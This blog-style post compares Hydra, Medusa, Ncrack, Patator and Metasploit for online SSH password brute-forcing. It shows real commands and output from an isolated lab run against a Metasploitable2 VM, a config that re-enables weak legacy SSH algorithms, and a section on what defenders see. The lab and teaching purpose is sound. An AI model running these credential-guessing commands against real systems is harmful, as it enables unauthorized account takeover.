Hydra vs Medusa vs Ncrack vs Patator vs Metasploit: Comparing the Online Brute-Force Tools

A companion post on this site walks through the bash plumbing for turning an nmap scan into a target list and hands the result to a brute-force tool at the end, using Hydra as a stand-in without comparing it to anything else. This post is that comparison. Five tools do the same fundamental job, try a list of credentials against a live network service until one works, and they disagree about almost everything else: what protocols they cover, how you configure an attack, how they handle concurrency, and how obviously they show up to whoever is watching the target.

This is online, active credential guessing against a running service. It’s a different problem from the Password Cracking and Wordlist Engineering series, which is about cracking a hash you already have offline, with no rate limit and no service on the other end to notice. The two get lumped together constantly; they aren’t the same technique and don’t share tooling.

How this was verified

All five tools were run for real against a live Metasploitable2 VM on an isolated lab network (Kali attacking Metasploitable2 over its own bridge, no internet-facing exposure), not documented from man pages or guessed from web tutorials. That live run surfaced a genuine, unplanned finding about SSH client library behavior against a legacy target, covered in its own section below, and is the reason this comparison ended up more useful than the original plan.

At a glance

ToolLanguageConfig styleProtocol countConcurrencyActively maintained
HydraCflags (-l/-L, -p/-P, service://target)~50, broadest of the four-t per host, -T overallYes
MedusaCflags + module system (-M, -m)~22 modules-t logins, -T hostsSporadic
NcrackC++ (Nmap project)Nmap-style target/service spec21 modulesper-service cl/CL connection limits, -T0-5 timingSporadic
PatatorPythonkey=value pairs, not flags34 modulesthread-based, -x response-filtering rulesYes
Metasploit aux modulesRubyset OPTION value inside msfconsoleHandful of brute-force-specific modules, broader via other module typesTHREADSYes

Hydra

Hydra is the one every beginner tutorial reaches for, and the protocol list is the reason why, close to fifty services when everything is compiled in. Real syntax, straight from a genuine run:

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -t TASKS  run TASKS number of connects in parallel per target (default: %d)
  -T TASKS  run TASKS connects in parallel overall (for -M, default: %d)
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)

The service is given as a URL-style scheme: hydra -l admin -P wordlist.txt ssh://192.168.1.10. That’s the same syntax the companion redirection post’s xargs example builds toward. -t/-T split concurrency into per-host and overall, which matters once you’re attacking -M’s list of many hosts at once rather than one target.

A real attack run against a live Metasploitable2 VM, Hydra 9.7 on Kali against msfadmin with a three-line password list:

$ hydra -l msfadmin -P /tmp/passlist.txt ssh://10.10.10.20 -t 4
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-08-02 16:48:32
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking ssh://10.10.10.20:22/
[ERROR] could not connect to ssh://10.10.10.20:22 - kex error : no match for method mac algo client->server: server [hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96], client [hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512]

That error, and what fixed it, is its own section below.

When the target is too old: SSH algorithm negotiation

Metasploitable2’s sshd dates to 2008. Modern SSH clients and libraries disable the key exchange, host key, and MAC algorithms it offers by default, they’ve been considered weak for years, so Hydra couldn’t even complete a handshake, let alone try a password. The plain ssh client on the same Kali box failed identically before any brute-force tool was involved:

$ ssh msfadmin@10.10.10.20
Unable to negotiate with 10.10.10.20 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

Explicitly re-enabling the legacy algorithms the target needs fixed the plain client immediately:

$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedAlgorithms=+ssh-rsa -oMACs=+hmac-md5,hmac-sha1 msfadmin@10.10.10.20
msfadmin@10.10.10.20's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
...
msfadmin@metasploitable:~$

Hydra doesn’t expose those flags itself, its SSH support comes from libssh rather than the system ssh binary, but libssh reads the user’s ~/.ssh/config. Adding a host-scoped block there was enough:

$ cat >> ~/.ssh/config << 'EOF'
Host 10.10.10.20
    KexAlgorithms +diffie-hellman-group1-sha1
    HostKeyAlgorithms +ssh-rsa
    PubkeyAcceptedAlgorithms +ssh-rsa
    MACs +hmac-md5,hmac-sha1
EOF
$ hydra -l msfadmin -P /tmp/passlist.txt ssh://10.10.10.20 -t 4
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-08-02 16:52:37
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking ssh://10.10.10.20:22/
[22][ssh] host: 10.10.10.20   login: msfadmin   password: msfadmin
1 of 1 target successfully completed, 1 valid password found

With that fix in place on disk, Patator and Metasploit were tested next and both succeeded immediately, which on its own wasn’t a clean result: since ~/.ssh/config now had a host-scoped override sitting there from the Hydra fix, it was impossible to tell whether those two tools genuinely didn’t need it or were silently benefiting from it. The config file was moved out of the way (mv ~/.ssh/config ~/.ssh/config.bak) and Medusa was tested against the bare target with no override present at all, then restored afterward. All five tools’ real, isolated results against the identical handshake:

ToolSSH libraryResult against Metasploitable2
HydralibsshFailed, kex/MAC negotiation error, until ~/.ssh/config override added
Medusa(unconfirmed, not libssh’s default behavior)Succeeded immediately, config override absent at test time
Ncrackown SSH implementationFound the correct credential, then segfaulted on exit
PatatorPython paramikoSucceeded immediately
Metasploit ssh_loginRuby net-sshSucceeded immediately, auto-opened a session

The original draft of this post assumed Medusa’s SSH module was libssh-based like Hydra’s and would need the same fix. That assumption was wrong, and testing it properly (config override physically removed, not just untested) caught the mistake before publication rather than after. Whatever Medusa’s SSH module actually links against, it isn’t rejecting this target’s algorithm set by default the way Hydra’s libssh build does. The corrected, verified lesson: SSH client library choice determines whether a legacy target needs babying through host-scoped config overrides, but it’s a per-tool question, not something safely inferred from one tool to another that merely sounds similar.

Medusa

Medusa covers a smaller, more curated protocol list (about 22 modules) with a design that separates the core engine from per-service modules more cleanly than Hydra does. Real, captured --help output:

Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
  -h [TEXT]    : Target hostname or IP address
  -H [FILE]    : File containing target hostnames or IP addresses
  -u [TEXT]    : Username to test
  -U [FILE]    : File containing usernames to test
  -p [TEXT]    : Password to test
  -P [FILE]    : File containing passwords to test
  -M [TEXT]    : Name of the module to execute (without the .mod extension)
  -m [TEXT]    : Parameter to pass to the module. Can be passed multiple times.
  -d           : Dump all known modules
  -t [NUM]     : Total number of logins to be tested concurrently
  -T [NUM]     : Total number of hosts to be tested concurrently
  -L           : Parallelize logins using one username per thread.

-M picks the module (ssh, ftp, http, and so on) and -m passes module-specific options, the same two-level split Hydra uses with its scheme URL, just spelled differently: medusa -h 192.168.1.10 -u admin -P wordlist.txt -M ssh. Medusa’s -L flag, one username per thread rather than working through the whole username before moving to the next, is a genuinely different attack shape from Hydra’s default and worth knowing about if a target’s lockout policy counts failed attempts per username within a time window.

Real run against the same Metasploitable2 VM, Medusa 2.3 on Kali, tested twice, once with the Hydra-era ~/.ssh/config override still present and once with it physically moved out of the way to rule out a false positive:

$ mv ~/.ssh/config ~/.ssh/config.bak
$ medusa -h 10.10.10.20 -u msfadmin -P /tmp/passlist.txt -M ssh
Medusa v2.3 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
2026-08-02 17:22:51 ACCOUNT CHECK: [ssh] Host: 10.10.10.20 (1 of 1, 0 complete) User: msfadmin (1 of 1, 0 complete) Password: wrongpass1 (1 of 3 complete)
2026-08-02 17:22:53 ACCOUNT CHECK: [ssh] Host: 10.10.10.20 (1 of 1, 0 complete) User: msfadmin (1 of 1, 0 complete) Password: wrongpass2 (2 of 3 complete)
2026-08-02 17:22:53 ACCOUNT CHECK: [ssh] Host: 10.10.10.20 (1 of 1, 0 complete) User: msfadmin (1 of 1, 0 complete) Password: msfadmin (3 of 3 complete)
2026-08-02 17:22:53 ACCOUNT FOUND: [ssh] Host: 10.10.10.20 User: msfadmin Password: msfadmin [SUCCESS]

Clean success with no config override anywhere on the system. This directly disproves an assumption in an earlier draft of this post that Medusa’s SSH module would hit the same libssh negotiation wall Hydra did. It doesn’t. Don’t extend a finding about one tool to another just because they look similar on the surface, verify each one.

Ncrack

Ncrack comes out of the Nmap project and it shows: target specification borrows Nmap’s own syntax directly, including reading Nmap’s XML or normal output as input. Real, captured --help and version output:

Ncrack 0.7 ( http://ncrack.org )
Usage: ncrack [Options] {target and service specification}
  -iX <inputfilename>: Input from Nmap's -oX XML output format
  -iN <inputfilename>: Input from Nmap's -oN Normal output format
  -p <service-list>: services will be applied to all non-standard notation hosts
  -m <service>:<options>: options will be applied to all services of this type
  cl (min connection limit): minimum number of concurrent parallel connections
  CL (max connection limit): maximum number of concurrent parallel connections
  at (authentication tries): authentication attempts per connection
  cd (connection delay): delay <time> between each connection initiation
  -T<0-5>: Set timing template (higher is faster)

Modules: SSH, RDP, FTP, Telnet, HTTP(S), Wordpress, POP3(S), IMAP, CVS, SMB, VNC, SIP, Redis, PostgreSQL, MQTT, MySQL, MSSQL, MongoDB, Cassandra, WinRM, OWA, DICOM

The -iX/-iN flags are the standout feature: a recon scan’s own XML output feeds straight into Ncrack without any awk extraction step at all, which is the one thing in this whole comparison that makes the companion post’s regex-extraction problem disappear entirely, at the cost of only working smoothly when the earlier stage actually was an Nmap scan. The per-service cl/CL/at/cd tuning parameters are more granular than Hydra or Medusa’s single -t/-T, letting you set different connection behavior per protocol in a single mixed-service run.

Real run against the same target, comma-separated password list rather than a file:

$ ncrack ssh://10.10.10.20 --user msfadmin --pass wrongpass1,wrongpass2,msfadmin -v
Starting Ncrack 0.7 ( http://ncrack.org ) at 2026-08-02 17:23 BST
Discovered credentials on ssh://10.10.10.20:22 'msfadmin' 'msfadmin'
zsh: segmentation fault  ncrack ssh://10.10.10.20 --user msfadmin --pass wrongpass1,wrongpass2,msfadmi

It handles this target’s algorithm set fine and finds the correct credential. Then it segfaults on its way out. Reproduced twice in a row, same command, same result both times, exit code 139 (128 + SIGSEGV):

$ ncrack ssh://10.10.10.20 --user msfadmin --pass wrongpass1,wrongpass2,msfadmin -v
echo "exit code: $?"
Starting Ncrack 0.7 ( http://ncrack.org ) at 2026-08-02 17:25 BST
Discovered credentials on ssh://10.10.10.20:22 'msfadmin' 'msfadmin'
zsh: segmentation fault  ncrack ssh://10.10.10.20 --user msfadmin --pass wrongpass1,wrongpass2,msfadmi
exit code: 139

Ncrack 0.7 is old and sees sporadic maintenance, and this is exactly the kind of reliability gap that shows up in software in that state. The credential is correct and printed before the crash, so the result itself isn’t in doubt, but a script depending on Ncrack’s own exit code to gate a next stage (the same &&-based pattern the companion redirection post builds around pipefail) would see a nonzero exit here that means “found it and then died,” not “failed.” Worth checking output logs directly rather than trusting a clean exit from this tool specifically.

Patator

Patator is the newest of the four and looks nothing like the other three. There’s no -l/-p flag pair; everything is a key=value argument, and the module name is the first positional argument rather than something passed to a flag:

$ python3 patator.py -h
Patator 1.1.0 (https://github.com/lanjelot/patator) with Python-3.10.12
Usage: patator.py module --help

Available modules:
  + ftp_login     : Brute-force FTP
  + ssh_login     : Brute-force SSH
  + telnet_login  : Brute-force Telnet
  + smtp_login    : Brute-force SMTP
  + http_fuzz     : Brute-force HTTP
  + smb_login     : Brute-force SMB
  + rdp_login     : Brute-force RDP (NLA)
  + vnc_login     : Brute-force VNC
  + snmp_login    : Brute-force SNMP v1/2/3
  + unzip_pass    : Brute-force the password of encrypted ZIP files
  + keystore_pass : Brute-force the password of Java keystore files
  ...34 modules total

FILE0/0= is Patator’s placeholder-and-source-file convention, similar in spirit to xargs -I{} from the companion post but built into the tool itself rather than composed from shell primitives. A real run against the same live Metasploitable2 VM used for Hydra and Metasploit above, the pre-installed Kali patator binary, no ~/.ssh/config changes:

$ patator ssh_login host=10.10.10.20 user=msfadmin password=FILE0 0=/tmp/passlist.txt
17:12:12 patator    INFO - Starting Patator 1.1.0 (https://github.com/lanjelot/patator) with Python-3.13.14 at 2026-08-02 17:12 BST
17:12:12 patator    INFO -
17:12:12 patator    INFO - code  size    time | candidate                          |   num | mesg
17:12:12 patator    INFO - -----------------------------------------------------------------------------
17:12:12 patator    INFO - 0     37     0.044 | msfadmin                           |     3 | SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
17:12:14 patator    INFO - 1     22     2.264 | wrongpass1                         |     1 | Authentication failed.
17:12:14 patator    INFO - 1     22     2.295 | wrongpass2                         |     2 | Authentication failed.
17:12:15 patator    INFO - Hits/Done/Skip/Fail/Size: 3/3/0/0/3, Avg: 0 r/s, Time: 0h 0m 3s

code 0 marks the successful candidate, code 1 the two failures, and the mesg column doubles as the target’s SSH banner on success or the literal auth error on failure. No negotiation error anywhere, paramiko connected to the same legacy target Hydra initially refused to, without any config changes.

The other feature that actually matters is -x, a rule engine for classifying responses so Patator can tell a real hit apart from a false positive: -x ignore:mesg='Login incorrect.' tells it to disregard any attempt matching that exact server response, -x ignore,reset,retry:code=500 says treat a 500 as noise, reset the connection, and retry. Hydra, Medusa, and Ncrack all have some notion of a failure string, but none expose a rule language this explicit for combining response code, message content, and timing into pass/fail logic. That matters most against services with inconsistent or misleading failure responses, exactly the kind of target where the other three tools produce false positives silently.

Metasploit’s brute-force auxiliary modules

Metasploit approaches the same problem from inside a much larger framework rather than as a standalone tool. Auxiliary modules like auxiliary/scanner/ssh/ssh_login are configured with set inside msfconsole rather than command-line flags or key=value pairs. Run for real against the same live Metasploitable2 VM, same three-line password list:

$ msfconsole -q -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 10.10.10.20; set USERNAME msfadmin; set PASS_FILE /tmp/passlist.txt; set VERBOSE false; run; exit"
RHOSTS => 10.10.10.20
USERNAME => msfadmin
PASS_FILE => /tmp/passlist.txt
VERBOSE => false
[*] 10.10.10.20:22        - Starting bruteforce
[*] 10.10.10.20:22 SSH - Testing User/Pass combinations
[+] 10.10.10.20:22        - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] SSH session 1 opened (10.10.10.5:38643 -> 10.10.10.20:22) at 2026-08-02 17:02:11 +0100
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[*] You have active sessions open, to exit anyway type "exit -y"

Two things stand out against the same target that just defeated Hydra’s default configuration. First, this succeeded on the first attempt, no ~/.ssh/config workaround needed, consistent with Patator and Medusa’s results above rather than Hydra’s. Second, and this is the real point of reaching for Metasploit over a standalone tool, the found credential didn’t just print to a log line. It opened an actual SSH session automatically (“SSH session 1 opened”), sitting there ready to use inside the same msfconsole the brute force ran in. A found password from Hydra, Medusa, or Patator is a line of text you then have to go use somewhere else. A found password from Metasploit is already a working session.

Sn1per Part 7 showed the other side of this same module: against target-metasploitable2 and target-web, nuke mode’s forced bruteforce stage wraps Hydra through BruteX, and both live SSH attempts failed cleanly against OpenSSH 10.0p2’s connection throttling. Between that finding and this one, the two obstacles worth planning around before any of these five tools gets used against a real target are opposite ends of the same age spectrum: a hardened, current OpenSSH server will rate-limit or throttle the attempt outright, while a genuinely legacy one may refuse the connection before a single credential is even tried, or in Ncrack’s case, work fine and then crash on the way out.

What a defender sees

All five tools are fundamentally doing the same thing on the wire, a burst of authentication attempts against one service from one source, so most detection logic doesn’t need to care which specific tool sent them. A few things do differ enough to matter. Hydra and Medusa’s default concurrency (-t/-T) produces a connection-rate spike that’s a textbook IDS signature regardless of which protocol module is in use. Ncrack’s Nmap-style timing templates (-T0 through -T5) create a more deliberately variable rate, since that’s exactly what the templates are designed to control, from paranoid to insane. Patator’s -x rule engine reduces attempts against a target once it’s confident in a hit, which can mean a shorter, less obvious burst than a tool that keeps trying the full list regardless. None of that changes the fundamental signature: a spike of failed auth attempts followed, in the worst case, by one success, is what account lockout policies and connection-rate alerting exist to catch, and it doesn’t matter which of these five tools produced it.

Pick based on what you actually need: Hydra for the broadest protocol coverage and the most tutorials to reference, Medusa if you’re building or reading custom modules, Ncrack when the workflow starts from an Nmap scan and you want its output consumed directly, though verify success from its logged output rather than its exit code, Patator when a target’s failure responses are inconsistent enough that a rule engine earns its more awkward syntax, and Metasploit when the point is what happens after the credential works, not how fast you found it.